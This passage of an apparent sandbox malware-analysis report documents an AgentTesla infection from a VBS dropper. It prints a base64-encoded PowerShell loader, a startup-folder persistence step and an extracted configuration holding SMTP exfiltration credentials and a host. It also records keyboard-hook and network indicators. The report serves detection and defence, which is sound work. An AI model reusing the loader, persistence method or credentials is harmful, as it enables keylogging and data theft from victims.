eABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==, CommandLine: "C:\Users\user\Desktop\GRAINS.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAH

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\GRAINS.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\GRAINS.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\GRAINS.vbs", ProcessId: 4132, ProcessName: wscript.exe

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\GRAINS.vbs.exe, ProcessId: 6872, TargetFilename: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rmzk02se.g0z.ps1

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\AppData\Roaming\Xml.vbs.exe" /Y, CommandLine: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\AppData\Roaming\Xml.vbs.exe" /Y, CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Xml.vbs" , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3120, ParentProcessName: wscript.exe, ProcessCommandLine: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\AppData\Roaming\Xml.vbs.exe" /Y, ProcessId: 5504, ProcessName: cmd.exe

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\GRAINS.vbs.exe" /Y, CommandLine: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\GRAINS.vbs.exe" /Y, CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3120, ProcessCommandLine: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\GRAINS.vbs.exe" /Y, ProcessId: 636, ProcessName: cmd.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 163.44.198.71, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe, Initiated: true, ProcessId: 6536, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\GRAINS.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\GRAINS.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\GRAINS.vbs", ProcessId: 4132, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\GRAINS.vbs.exe, ProcessId: 6872, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xml.vbs

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 6.2.InstallUtil.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "nffplp.com", "Username": "airlet@nffplp.com", "Password": "$Nke%8XIIDtm"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: GRAINS.vbs.exe, 00000004.00000002.1571178219.000000000A4A0000.00000004.08000000.00040000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1515150880.00000000054A4000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004C02000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1748760393.0000000009752000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1748760393.00000000096FB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: GRAINS.vbs.exe, 00000004.00000002.1571178219.000000000A4A0000.00000004.08000000.00040000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1515150880.00000000054A4000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004C02000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1748760393.0000000009752000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1748760393.00000000096FB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: powershell.pdbUGP source: GRAINS.vbs.exe, 00000004.00000000.1471078085.0000000000D91000.00000020.00000001.01000000.00000005.sdmp, Xml.vbs.exe, 0000000C.00000000.1627072996.0000000000C28000.00000020.00000001.01000000.00000009.sdmp, Xml.vbs.exe.10.dr, GRAINS.vbs.exe.2.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009E9C000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1569852550.000000000A3C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009E9C000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1569852550.000000000A3C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: powershell.pdb source: GRAINS.vbs.exe, 00000004.00000000.1471078085.0000000000D91000.00000020.00000001.01000000.00000005.sdmp, Xml.vbs.exe, 0000000C.00000000.1627072996.0000000000C28000.00000020.00000001.01000000.00000009.sdmp, Xml.vbs.exe.10.dr, GRAINS.vbs.exe.2.dr

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4x nop then jmp 0A42B6B7h	4_2_0A42B2C8
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4x nop then jmp 0A42B6B7h	4_2_0A42B2B8
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4x nop then jmp 0A454C98h	4_2_0A454BD8
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4x nop then jmp 0A454C98h	4_2_0A454BE0
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	4_2_0A459820
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	4_2_0A459828
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	4_2_0A58DAA8
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	12_2_09B49820
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	12_2_09B49828
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 4x nop then jmp 09B44C98h	12_2_09B44BE0
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 4x nop then jmp 09B44C98h	12_2_09B44BD8
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	12_2_09C7DAA8

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 12.2.Xml.vbs.exe.97dddc8.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.GRAINS.vbs.exe.6350180.1.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 163.44.198.71:587

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 163.44.198.71 163.44.198.71

Source: Joe Sandbox View

ASN Name: GMO-Z-COM-THGMO-ZcomNetDesignHoldingsCoLtdSG GMO-Z-COM-THGMO-ZcomNetDesignHoldingsCoLtdSG

Source: unknown

DNS query: name: ip-api.com

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 163.44.198.71:587

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: nffplp.com

Source: InstallUtil.exe, 00000006.00000002.1690304177.0000000005E84000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1665908596.0000000000C00000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1671199854.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2743831329.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2762032172.0000000005FA9000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2740535923.0000000000F01000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2740535923.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: InstallUtil.exe, 00000006.00000002.1690304177.0000000005E84000.00000004.00000020.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1665170248.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2762032172.0000000005FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: Xml.vbs.exe, 0000000C.00000002.1739943824.0000000006FCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: InstallUtil.exe, 00000006.00000002.1690304177.0000000005E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicServerAuthenticationRd
Source: InstallUtil.exe, 00000006.00000002.1690304177.0000000005E84000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1671199854.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2743831329.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2762032172.0000000005FA9000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2740535923.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicServerAuthenticationRootE46.crl0
Source: InstallUtil.exe, 00000006.00000002.1690304177.0000000005E84000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1671199854.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2743831329.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2762032172.0000000005FA9000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2740535923.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicServerAuthenticationRootE46.p7c0#
Source: InstallUtil.exe, 00000006.00000002.1690304177.0000000005E84000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1671199854.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2743831329.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2762032172.0000000005FA9000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2740535923.0000000000F01000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2740535923.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/cPanelECCDomainValidationSecureServerCA3.crt0#
Source: InstallUtil.exe, 00000006.00000002.1671199854.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2743831329.0000000002D8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: GRAINS.vbs.exe, 00000004.00000002.1515150880.0000000005576000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1530981472.0000000006350000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1668048181.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1671199854.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1664884538.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004CCF000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1748760393.00000000097C8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2743831329.0000000002D8C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2740535923.0000000000F01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: InstallUtil.exe, 00000006.00000002.1671199854.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2743831329.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nffplp.com
Source: GRAINS.vbs.exe, 00000004.00000002.1530981472.00000000060E9000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1703743965.0000000005769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: InstallUtil.exe, 00000006.00000002.1690304177.0000000005E84000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1665908596.0000000000C00000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1671199854.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2743831329.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2762032172.0000000005FA9000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2740535923.0000000000F01000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2740535923.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: InstallUtil.exe, 00000006.00000002.1690304177.0000000005E84000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1671199854.0000000002AD3000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2762032172.0000000005FDE000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2743831329.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2762032172.0000000005FA9000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2740535923.0000000000F01000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2740535923.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: GRAINS.vbs.exe, 00000004.00000002.1515150880.0000000005081000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1671199854.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004701000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.2743831329.0000000002D8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: GRAINS.vbs.exe, 00000004.00000002.1515150880.0000000005576000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1530981472.0000000006350000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1664884538.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004CCF000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1748760393.00000000097C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: GRAINS.vbs.exe, 00000004.00000002.1515150880.0000000005081000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: Xml.vbs.exe, 0000000C.00000002.1703743965.0000000005769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: Xml.vbs.exe, 0000000C.00000002.1703743965.0000000005769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: Xml.vbs.exe, 0000000C.00000002.1703743965.0000000005769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009E9C000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1569852550.000000000A3C0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009E9C000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1569852550.000000000A3C0000.00000004.08000000.00040000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1748760393.0000000009672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009E9C000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1569852550.000000000A3C0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: GRAINS.vbs.exe, 00000004.00000002.1530981472.00000000060E9000.00000004.00000800.00020000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1703743965.0000000005769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009E9C000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1569852550.000000000A3C0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009E9C000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1515150880.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1569852550.000000000A3C0000.00000004.08000000.00040000.00000000.sdmp, Xml.vbs.exe, 0000000C.00000002.1671358982.0000000004A28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009E9C000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1552432393.0000000009C4F000.00000004.00000800.00020000.00000000.sdmp, GRAINS.vbs.exe, 00000004.00000002.1569852550.000000000A3C0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

E-Banking Fraud

Malicious encrypted Powershell command line found

